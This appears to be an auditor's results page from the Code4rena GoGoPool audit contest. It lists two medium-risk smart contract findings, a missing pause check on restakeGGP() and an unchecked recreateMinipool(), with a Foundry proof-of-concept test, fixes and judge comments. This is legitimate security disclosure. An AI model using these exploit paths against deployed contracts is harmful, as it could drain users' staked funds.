GoGoPool contest - Nyx's results

Liquid staking for Avalanche.

General Information

Platform: Code4rena

Start Date: 15/12/2022

Pot Size: $128,000 USDC

Total HM: 28

Participants: 111

Period: 19 days

Judge: GalloDaSballo

Total Solo HM: 1

Id: 194

League: ETH

GoGoPool

Findings Distribution

Researcher Performance

Rank: 68/111

Findings: 2

Award: $78.95

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Labels

bug
2 (Med Risk)
satisfactory
duplicate-673

Awards

68.0946 USDC - $68.09

External Links

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L325-L332

Vulnerability details

Impact

Staking is not allowed when contracts are paused, but with restake() function it can be bypassed.

Proof of Concept

restakeGGP() doesn't have whenNotPaused modifier.

function restakeGGP(address stakerAddr, uint256 amount) public onlySpecificRegisteredContract("ClaimNodeOp", msg.sender) { // Transfer GGP tokens from the ClaimNodeOp contract to this contract ggp.safeTransferFrom(msg.sender, address(this), amount); _stakeGGP(stakerAddr, amount); }

Tools Used

Manuel Review

restakeGGP() or _stakeGGP() should have whenNotPaused modifier.

#0 - c4-judge

2023-01-08T13:28:14Z

GalloDaSballo marked the issue as duplicate of #351

#1 - c4-judge

2023-01-29T18:15:30Z

GalloDaSballo marked the issue as duplicate of #673

#2 - c4-judge

2023-02-08T08:56:54Z

GalloDaSballo marked the issue as satisfactory

Awards

10.8565 USDC - $10.86

Labels

bug
2 (Med Risk)
downgraded by judge
partial-50
duplicate-569

External Links

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L442-L478

Vulnerability details

Impact

minipool can be created without staking AVAX with recreateMinipool(). recreateMinipool() function doesn't check if the owner withdrew or not.

Proof of Concept

I just added withdrawMinipoolFunds() to the original test.

function testRecreateMinipool() public { uint256 duration = 4 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; // Enough to start but not to re-stake, we will add more later uint128 ggpStakeAmt = 100 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); console.log("balance1", nodeOpBalance); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(duration / 2); // Give rialto the rewards it needs uint256 rewards = 10 ether; deal(address(rialto), address(rialto).balance + rewards); // Pay out the rewards vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards); // Now try to restake vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector); minipoolMgr.recreateMinipool(mp.nodeID); vm.prank(address(rialto)); vm.expectRevert(MinipoolManager.InsufficientGGPCollateralization.selector); minipoolMgr.recreateMinipool(mp.nodeID); // Add a bit more collateral to cover the compounding rewards vm.startPrank(nodeOp); staking.stakeGGP(1 ether); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); vm.stopPrank(); vm.prank(address(rialto)); minipoolMgr.recreateMinipool(mp.nodeID); console.log("staking.getAVAXStake(mp.owner) :", staking.getAVAXStake(mp.owner) / 1e18); //MinipoolManager.Minipool memory mpCompounded = minipoolMgr.getMinipoolByNodeID(mp.nodeID); //assertEq(mpCompounded.status, uint256(MinipoolStatus.Prelaunch)); //assertGt(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpAmt); //assertGt(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpInitialAmt); //assertGt(mpCompounded.avaxLiquidStakerAmt, mp.avaxLiquidStakerAmt); //assertEq(staking.getAVAXStake(mp.owner), mpCompounded.avaxNodeOpAmt); //assertEq(staking.getAVAXAssigned(mp.owner), mpCompounded.avaxLiquidStakerAmt); //assertEq(staking.getMinipoolCount(mp.owner), 1); //assertEq(mpCompounded.startTime, 0); //assertGt(mpCompounded.initialStartTime, 0); }

Tools Used

Foundry

recreateMinipool() needs check staking balance before increaseAVAXStake().

#0 - GalloDaSballo

2023-01-10T20:55:18Z

Dup of #484 but without Front-run aspect, awarding half

#1 - c4-judge

2023-01-10T20:55:26Z

GalloDaSballo marked the issue as duplicate of #484

#2 - c4-judge

2023-01-10T20:55:34Z

GalloDaSballo marked the issue as partial-50

#3 - c4-judge

2023-02-03T12:41:09Z

GalloDaSballo marked the issue as duplicate of #569

#4 - c4-judge

2023-02-08T08:27:15Z

GalloDaSballo changed the severity to 2 (Med Risk)

#5 - c4-judge

2023-02-09T08:45:54Z

GalloDaSballo changed the severity to QA (Quality Assurance)

#6 - Simon-Busch

2023-02-09T12:34:52Z

Changed the severity back to M as requested by @GalloDaSballo

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter